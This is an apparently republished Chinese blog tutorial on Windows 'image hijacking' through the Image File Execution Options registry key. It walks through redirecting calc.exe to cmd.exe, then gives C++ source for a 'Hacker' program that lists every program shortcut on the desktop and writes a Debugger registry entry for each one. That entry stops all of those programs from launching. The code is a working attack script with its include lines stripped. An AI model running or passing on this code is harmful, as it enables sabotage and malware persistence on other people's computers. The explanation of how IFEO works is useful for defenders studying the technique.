关于映像劫持 您所在的位置:网站首页 镜像文件的原理和方法 关于映像劫持

关于映像劫持

2024-06-24 22:47| 来源: 网络整理| 查看: 265

什么是映像劫持? “映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。

映像劫持的原理 映像劫持是利用Windows的IFEO(Image File Execution Options)功能来实现的。IFEO实际上是Windows的一项正常功能,主要用于调试程序,其初衷是在程序启动的时候开启调试器来调试程序,这样一来可以在调试器中观察程序在难以重现的环境中的行为。例如,某个程序在随用户登录自动启动时会出错,但在登录后手动启动时却一切正常,这就可以通过IFEO设置一个调试器,无论程序何时启动,都会开启这个调试器对其进行调试,以便找出问题。很多病毒木马都会使用这种手段阻止安全软件的运行 win+R输入regedit以管理员身份运行打开注册表编辑器,并找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options就是保存IFEO设置的地方

假设我们要对calc.exe进行映像劫持,我们右击新建项,添加项calc.exe,并添加一个字符串值:“Debugger”,修改其值为我们想要打开的文件,在这里我们修改成cmd.exe.(由于cmd.exe存在于操作系统的环境变量中,所以可以不填写绝对路径,如果不存在于操作系统环境变量中,就需要填写文件的绝对路径) 当你运行calc.exe的时候,系统首先会在注册表的Image File Execution Options中寻找名为“calc.exe”的项,如果存在该项,则继续寻找名为“Debugger”的字符串值,如果找到,则转而启动Debugger值中指定的程序,即cmd.exe

这个时候我们保存注册表编辑器。(不在虚拟机实验先导出注册表,做一个备份,避免影响操作系统正常运行)然后我们运行calc.exe(计算器),就会惊讶的发现,我们计算器已经被cmd.exe劫持,计算器已经无法打开。

C/C++遍历当前桌面下所有文件实现映像劫持

#include "shlobj.h" #include #include #include #include #include #include #include #include using namespace std; class Hacker { public: Hacker() { Path = this->getDesktopPath(); GetAllgpxFilepathFromfolder(Path); } private: string Path; public: list FileName; private: string getDesktopPath() //获取桌面路径 { LPITEMIDLIST pidl; LPMALLOC pShellMalloc; char szDir[200]; if (SUCCEEDED(SHGetMalloc(&pShellMalloc))) { if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl))) { // 如果成功返回true SHGetPathFromIDListA(pidl, szDir); pShellMalloc->Free(pidl); } pShellMalloc->Release(); } return string(szDir); } private: int GetAllgpxFilepathFromfolder(string Path) { char szFind[MAX_PATH]; WIN32_FIND_DATA FindFileData; strcpy(szFind, Path.c_str()); strcat(szFind, "\\*.*"); HANDLE hFind = FindFirstFile(szFind, &FindFileData); if (INVALID_HANDLE_VALUE == hFind) return -1; do { if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0) { //发现子目录,递归之 char szFile[MAX_PATH] = { 0 }; strcpy(szFile, Path.c_str()); strcat(szFile, "\\"); strcat(szFile, FindFileData.cFileName); GetAllgpxFilepathFromfolder(szFile); } }else{ FileName.push_back(FindFileData.cFileName); } } while (FindNextFile(hFind, &FindFileData)); FindClose(hFind); return 0; } }; void replaceA_to_B(std::string& S, const std::string A, const std::string B) { std::size_t found = S.find(A); while (std::string::npos != found) { S.replace(found, A.length(), B); found = S.find(A, found + 1); } } int main() { Hacker* one = new Hacker(); string arr; for (list::iterator itor = one->FileName.begin(); itor != one->FileName.end(); itor++) { replaceA_to_B(*itor, ".lnk", ".exe"); int pos = 0; pos =(*itor).find(".exe"); if (-1 != pos) { *itor = (*itor).substr(0, pos+4); } } for (list::iterator itor = one->FileName.begin(); itor != one->FileName.end(); itor++) { arr = "REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + *itor + "\"" + " /v Debugger /t REG_SZ /d \"cmd.exe\" /f"; system(arr.c_str()); } system("pause"); return 0; }


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有